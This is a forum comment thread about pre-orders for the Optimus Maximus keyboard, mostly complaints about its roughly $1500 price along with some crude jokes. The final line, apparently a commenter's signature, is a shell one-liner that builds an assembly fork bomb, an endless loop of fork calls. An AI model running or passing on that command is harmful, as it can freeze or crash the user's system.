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Optimus Keyboard Pre-Orders In Mere Hours
godzillopiteco sends timely word that Art. Lebedev Studio is finally going to accept pre-orders for the Optimus Maximus Keyboard — in just under 11 hours at the time this story posts, according to the countdown timer on the site. (Late last year we were primed to pre-order in December 2006.) Read the project's blog for some recent developments.
I was really excited about this keyboard back when they first announced it and they posited that it would cost approxmiately $100. Now that it's finally becoming a reality several years behind schedule, and is going to cost approximately $1500, I don't know how anybody can really still be looking foward to it.
oops... I take that back... sorry... didn't see the price tag... maybe later.
At that price, I'd expect to get the Optimus *Prime* keyboard, and it better transform into the leader of the Autobots, too!
Chris Mattern
Well, you can afford to buy http://www.artlebedev.com/everything/vilcus/ :)
Rather than having every key with an in-built display what would be more practical is leaving the alphanumeric keys as standard and just having the displays on the left block of special function keys and F1-F15. Short of multiple users who want to swap between QWERTY, Dvorak and other languages I can't think of any reason re-programming the standard keys is useful and it must add stacks to the cost. I'd go for one at $200 odd if when I switched applications I could replace the function keys with alternative icons and alternative keystroke codes. No wonder the unit cost is so high though - they don't seem to be planning to manufacture many units so it seems to be aimed at people with a surplus of cash.
The phantom was just another games console.
People actually want to do this, but the only thing stopping them is technology.
I guess at some point or other we have cursed keyboards for having fixed symbols and wished for something better, I remember the cards you used to place above your Fn keys for word processing and graphics programs, we all get freaked out remembering the keys to games and I would love to see my keys change fonts to match what I am typing.
This keyboard will give you all that, its not just another console - its new.
Having said all that, you can probably currently just keep a few customised boards and switch as needed for less than the current expected price.
liqbase
I'm so pleased about this advance warning, giving me a chance to cogitate on the early stages of beginning to anticipate the eventual opening moments of the new dawn of an opportunity to gear up for a period when, soon, there will be a new, imminent development foreshadowing the approaching onset of the start of my chance to, on a first-come, first-served basis, pre-order this thing.
Don't disappoint your bird dog. Go to the range.
an "any key"???
I don't think that's really fair. The Phantom was constantly promoted as "coming soon!" The Optimus OTOH, started life as a conceptual design. Optimus never promised a product from the design, and in fact stated that it would be too expensive with current OLED prices.
The only reason why they're making this keyboard is because there has been unprecidented demand for it.
Javascript + Nintendo DSi = DSiCade
When information is power, privacy is freedom.
I don't care if it comes with a "summon the slave girls to come orally satisfy me" button -- if it ain't ergo, it ain't worth it
It doesn't, but you could program it to have one.
Slave girls not included. Slavery maybe illegal in your country
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;